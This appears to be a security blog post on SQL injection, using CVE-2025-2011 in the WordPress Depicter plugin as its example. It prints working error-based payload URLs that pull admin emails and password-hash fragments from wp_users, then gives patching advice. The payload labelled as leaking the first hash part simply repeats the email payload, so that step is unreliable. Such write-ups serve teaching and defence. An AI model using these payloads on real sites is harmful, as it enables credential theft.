SQL Injection in WordPress Depicter (CVE-2025-2011): When Queries Talk Too Much

Databases are meant to be structured, obedient, and a little boring. They answer questions, return rows, and quietly store the lifeblood of your application. But sometimes, when developers aren’t careful, those same databases turn into over-sharers. Ask them the wrong way, and they’ll happily spill secrets that were never meant to leave the server.

That’s the world of SQL Injection (SQLi)—a vulnerability so old it has its own folklore, yet still alive and kicking in modern applications. And to prove the point, let’s look at CVE-2025-2011, a fresh case in WordPress’ Depicter plugin, where a single parameter turned an AJAX endpoint into a direct line to the database.

What is SQL Injection?

SQL Injection happens when user-supplied input is directly included in an SQL query without proper sanitization. Instead of being treated as harmless data, the input becomes executable code.

A typical vulnerable query might look like:

SELECT * FROM users WHERE username = '$input';

If an attacker submits ' OR 1=1--, the query turns into:

SELECT * FROM users WHERE username = '' OR 1=1--';

Suddenly, every record is returned. The logic of the application is bypassed, and the database becomes an open book.

SQL Injection comes in several forms:

• Error-based: extracting data through database error messages.
• Boolean-based: asking the database yes/no questions.
• Time-based: relying on artificial delays to leak information.

The Depicter vulnerability belongs to the first category—error-based—which makes it fast, visible, and easy to demonstrate.

Risks for Applications and Companies

It’s tempting to dismiss SQL Injection as “just another old bug.” But the consequences can be brutal:

• Data exposure: attackers can read sensitive information, from user emails to hashed passwords.
• Authentication bypass: crafted payloads can log in without credentials.
• Data manipulation: unauthorized inserts, updates, or deletions.
• Infrastructure compromise: if the database account has excessive privileges, attackers may escalate far beyond the application.

For a business, this translates into real-world damage:

• Reputation loss when customer data leaks hit the news.
• Regulatory fines under laws like GDPR or LGPD.
• Financial impact from downtime, incident response, and customer churn.

In other words, one sloppy query can become very expensive.

Proof of Concept (CVE-2025-2011)

To demonstrate, we’ll use CVE-2025-2011, a SQL Injection vulnerability in Depicter, a WordPress plugin used to create and edit visual content.

The flaw lies in the s parameter of the AJAX action depicter-lead-index. By injecting crafted input, we can force MySQL to reveal data through error messages.

In our lab, we successfully extracted sensitive information, including the administrator’s email address and password hash, using error-based SQLi with EXTRACTVALUE.

Leaking admin email:

Payload:

http://localhost:5555/wp-admin/admin-ajax.php?s=test%27%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20LEFT(GROUP_CONCAT(user_email%20SEPARATOR%200x2c20),100)%20FROM%20wp_users),0x7e))=%27&action=depicter-lead-index

Leaking first part of password hash:

Payload:

http://localhost:5555/wp-admin/admin-ajax.php?s=test%27%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20LEFT(GROUP_CONCAT(user_email%20SEPARATOR%200x2c20),100)%20FROM%20wp_users),0x7e))=%27&action=depicter-lead-index

Leaking second part of password hash:

Payload:

http://localhost:5555/wp-admin/admin-ajax.php?s=test%27%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20SUBSTRING(user_pass,31,30)%20FROM%20wp_users%20WHERE%20ID=1),0x7e))=%27&action=depicter-lead-index

This simple proof of concept highlights how a single unvalidated parameter can expose critical data without any authentication required.

Mitigation

The fix for this particular case was simple: Depicter patched the plugin in version 3.6.2 by sanitizing inputs before building queries. But the broader lessons are universal:

• Update dependencies: always patch plugins, libraries, and frameworks promptly.
• Use prepared statements: parameterized queries stop injections cold.
• Limit privileges: the database account used by the app should only do what the app needs.
• Don’t reveal too much: detailed SQL errors should never be shown to end users.

These are not “nice-to-haves”—they are basic hygiene for any application connected to a database.

Conclusion

SQL Injection is the cybersecurity equivalent of leaving your keys in the door. It’s not clever, it’s not sophisticated, but it works far too often. CVE-2025-2011 shows that even in 2025, developers are still making the same mistakes that attackers have been exploiting for decades.

Patch your plugins, stop concatenating SQL, and keep your databases tight-lipped. Because when your queries start talking too much, they rarely have anything good to say.